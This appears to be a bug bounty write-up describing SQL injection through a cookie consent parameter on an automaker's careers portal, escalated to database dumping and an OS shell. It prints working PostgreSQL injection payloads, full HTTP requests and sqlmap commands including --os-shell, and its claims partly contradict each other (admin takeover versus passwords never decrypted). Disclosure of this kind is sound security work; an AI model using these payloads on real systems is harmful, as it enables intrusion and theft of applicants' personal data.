From Cookie Consent to Command Execution: A Real-World SQLi + Full PII Leak to RCE on a Careers…
文章描述了一次通过cookie consent参数发现的SQL注入攻击,该漏洞存在于一家大型汽车公司的职业门户网站中。攻击者利用这一漏洞获得了全数据库访问权限,并成功提取了管理员凭证,进而控制了管理面板和实现了远程代码执行。作者强调了对所有用户输入进行验证的重要性,并建议使用参数化查询来防止类似漏洞。 2025-7-19 13:14:38 Author: infosecwriteups.com(查看原文) 阅读量:15 收藏

nav1n👨🏻‍💻⚠️

Hi, I’m nav1n0x — a Database Administrator by profession, and a security researcher and bug bounty hunter by passion, with a focus on real-world vulnerabilities that are often overlooked. I enjoy digging into edge-case logic, forgotten parameters, and turning small assumptions into critical discoveries — like this SQL injection hidden in a cookie banner. My goal is to share actionable, technical write-ups that help both researchers and developers understand how these vulnerabilities happen — and more importantly, how to prevent them.

Cookie Monster!

In the world of bug bounty hunting, we’re often trained to chase the obvious: login pages, search bars, admin panels. But every now and then, a bug shows up where you least expect it — like a cookie banner.

⚠️Note: For responsible disclosure purposes, I have intentionally changed or redacted the majority of real parameter names, values, and endpoint paths to prevent the original target from being identified or reverse-engineered. The request structure and logic remain technically accurate for educational purposes.

In this article, I’ll walk you through how I found a SQL Injection vulnerability in a cookie consent parameter on a career portal belonging to a major global automobile company (not BMW!). What seemed like a boring UX feature turned into:

✅ Full database access
✅ Admin credential extraction
✅ Admin panel takeover (using decrypted passwords)
✅ Remote Code Execution (RCE)
Let’s break it down technically and clearly — but without boring you :).

Target Context: Careers, Consent, and Cookies

The target was part of a private bug bounty program hosted on a major bug bounty platform, with a wide variety of web and mobile applications in scope. One of the targets included a mobile application that featured a link to apply for jobs, redirecting users to a dedicated career portal. This portal allowed applicants to submit resumes and manage their application profiles. As expected under GDPR compliance, the site implemented a cookie consent banner, enabling users to configure their privacy preferences. What appeared to be a standard UX component turned out to be the entry point to a much deeper vulnerability. The banner had the usual (Please note, I have changed the real banner text to avoid guessing the target) :
✅ “Accept All”
🚫 “Decline”
⚙️ Settings (a menu to store user preferences)

What most devs overlook is this: when users click those buttons, it triggers a backend request. In this case, a cookieConsent parameter was passed via POST request. And I found it was injectable.

I was doing some routine recon using Burp Suite, logging all user interactions to identify interesting or exposed parameters. With live auditing enabled, I was capturing every request in real-time. At some point — without giving it much thought — I clicked around the cookie banner, hitting the “Accept All,” “Decline,” and even the “Settings” options. It was just part of the usual flow. But thanks to Burp’s traffic logging, that seemingly harmless interaction turned out to reveal a much more serious issue hiding under the surface.

Why This SQLi Was Unique — and Rarely Tested

When we talk about SQL injection, most people immediately think of the usual suspects: Login forms, Search fields and Filters and AJAX requests.

But this one? It was hiding in plain sight — inside a cookie consent banner, triggered by simple UX interactions like “Accept All” or “Decline”. That’s what made it rare. This wasn’t an input field, nor was it exposed directly in a form. It was a frontend-driven privacy setting, passed silently as a parameter when a user clicked a button — a parameter like cookieConsent=1or cookieConsent=0.

Developers often assume that if input comes from a button click, it’s safe.

But here’s the truth:

Attackers don’t click buttons. We forge requests.

That flawed assumption — that frontend-controlled parameters are trusted and untouchable — was the exact reason this vulnerability existed.

This bug highlights a critical lesson: Any parameter reachable by a client is fair game, regardless of how “harmless” it may seem.

The Vulnerable Request

POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-Alive

InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&[email protected]&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&Agree=agree1

As usual, I began testing each parameter captured during live traffic analysis in Burp Suite. One of the requests stood out and I changed the request to:

POST /careers?cookieConsent=1'+AND+1=2--

And this caused the server to respond with a 500 Internal Server Error — a clear indication that the parameter was being unsafely injected into a SQL statement. The server was not only parsing the input but also reflecting the error, confirming the presence of a SQL injection vulnerability or something similar.

Root Cause: Direct SQL Injection in a Cookie Preference

The backend logic likely looked something like this:

SELECT * FROM cookie_preferences WHERE consent_status = '$cookieConsent'

And because there was: No input validation, No sanitization, No prepared statements etc. And due to this silly oversight by the dev, I could inject arbitrary SQL commands. A privacy feature became an attack surface.

Manual Testing & Fuzzing: From Gut Feeling to Confirmed SQLi

After observing the 500 Internal Server Error, I decided to investigate the request carrying the cookieConsent parameter further. As with all potential injection points, I followed a structured approach — starting with manual tampering and gradually escalating to classic SQLi patterns I’ve had success with in previous tests.

Step 1: The Boolean Logic Check

To start, I tried a simple boolean-based test to determine if the backend was processing SQL logic directly from the parameter:

✅ cookieConsent=1'+AND+1=1- -
→ The page loaded normally.
❌ cookieConsent=1'+AND+1=2- -
→ The page broke and returned a 500 Internal Server Error.

This classic toggle test is one of my go-to methods to quickly detect boolean-based SQL injection, especially when there’s no immediate output difference but backend behavior changes. The consistent error behavior on falsy conditions confirmed one thing: this input was unsafely handled in a SQL context.

Step 2: Syntax Error Confirmation

To ensure it wasn’t just bad input validation or broken logic, I injected a malformed SQL string to deliberately trigger a database-level syntax error:

cookieConsent=1'

The server responded with another 500 Internal Server Error, with a suspicious delay — pointing toward an unhandled SQL exception rather than a normal validation failure.

This told me two important things:
1. The parameter is not sanitized.
2. The query execution engine is surfacing backend errors.

Step 3: Version Disclosure via Union Injection

Next, I stepped it up with a UNION-based payload — something like this:

cookieConsent=1'+UNION+SELECT+NULL,version()--

This one is a personal favorite for quick detection. If successful, it usually exposes the database version inline, especially on pages that reflect database-driven content, and it worked. The page returned:

PostgreSQL 13.10 (Ubuntu))

The response reflected the PostgreSQL version (something like PostgreSQL 13.10 (Ubuntu)), running on Ubuntu. It wasn’t just injectable — it was reflecting backend data directly. At this point, the vulnerability was fully confirmed.

Step 4: Fingerprinting the Execution Context

I injected the following to confirm column count:

cookieConsent=1'+ORDER+BY+1--

Which failed, while:

cookieConsent=1'+ORDER+BY+2--

→ Successful. This meant the original query likely selected 2 columns, and I could now align UNION SELECTs accordingly. So I tried:

cookieConsent=1'+UNION+SELECT+NULL,version()--

The response reflected the PostgreSQL version (something like PostgreSQL 13.10 (Ubuntu)).

At this point, I had:

  • Confirmed UNION-based SQLi
  • Aligned the column count
  • Verified PostgreSQL-specific syntax
  • Proven the query output was reflected in the response

I also tested for execution delay using time-based blind SQLi using:

cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-Alive

InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&[email protected]&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)

The response delayed around 11 seconds. This verified time-based SQL injection was possible, and would’ve been my fallback even if reflection wasn’t present.

Observations

The cookieConsent parameter contains a PostgreSQL time-based SQL injection payload:

;SELECT+PG_SLEEP(10) - 2–5)
  • The response (HTTP/1.1 200 OK) indicates the server accepted the payload, and since the response was delayed, it strongly suggests successful blind time-based SQL injection.
  • Headers like X-Powered-By: PHP/5.6.40 and X-Powered-By: ASP.NET reveal a mixed backend stack — a possible indicator of misconfigurations or legacy tech components.

Step 5: Fingerprinting and Enumeration

I moved on to database enumeration with:

cookieConsent=1'+UNION+SELECT+NULL,current_database()--

And:

cookieConsent=1'+UNION+SELECT+NULL,current_user--

Which returned:

  • The database name (e.g., xxx_portal)
  • The database user (e.g., xxx_user)

I then attempted error-based enumeration using PostgreSQL string concatenation:

cookieConsent=1'+AND+1=(SELECT+CAST(('abc'||(SELECT+table_name+FROM+information_schema.tables+LIMIT+1))+AS+TEXT))--

This triggered a parsing error with table name leakage — confirming error-based SQLi was also possible.

SQLMap Automation (PostgreSQL Target)

Though I have a DBMS, HostName and Current user from manual approach, I decided to go forward with SQLMAP:

sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL

And within a matter of minutes, SQLMAP was able to find the injection point and showed me all 3 types of vulnerabilities.

And I went on dumping all admin and staff hashed passwords:

PII Exposure

The App had a database **** that contains the details of job applicants, their contact details, email, username, hashed passwords etc.

The credentials could have worked on an admin subpath /admin, I could have access to a dashboard that manages the following, but I decided not to decrypt the password, as I know it would take longer.

  • Job postings
  • User applications
  • Document uploads

However, the only thing I wanted to test was RCE, so fireup my SQLMAP using the following command:

sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL  --os-shell

And here it is:

Developer Recommendations

  • Use parameterized queries, not dynamic SQL strings
  • Validate even “controlled” frontend inputs like cookie prefs
  • Never trust GET parameters triggered via UI only
  • Scan and sanitize file uploads at both extension and content level

This was one of the most unexpected critical bugs I’ve found. A cookie consent banner — a tool designed to improve privacy — turned into a full-blown entry point for database compromise and server control.

Follow @nav1n0x for more real-world writeups, red team findings, and vulnerability chaining techniques.


文章来源: https://infosecwriteups.com/from-cookie-consent-to-command-execution-a-real-world-sqli-full-pii-leak-to-rce-on-a-careers-a8c554521d9e?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh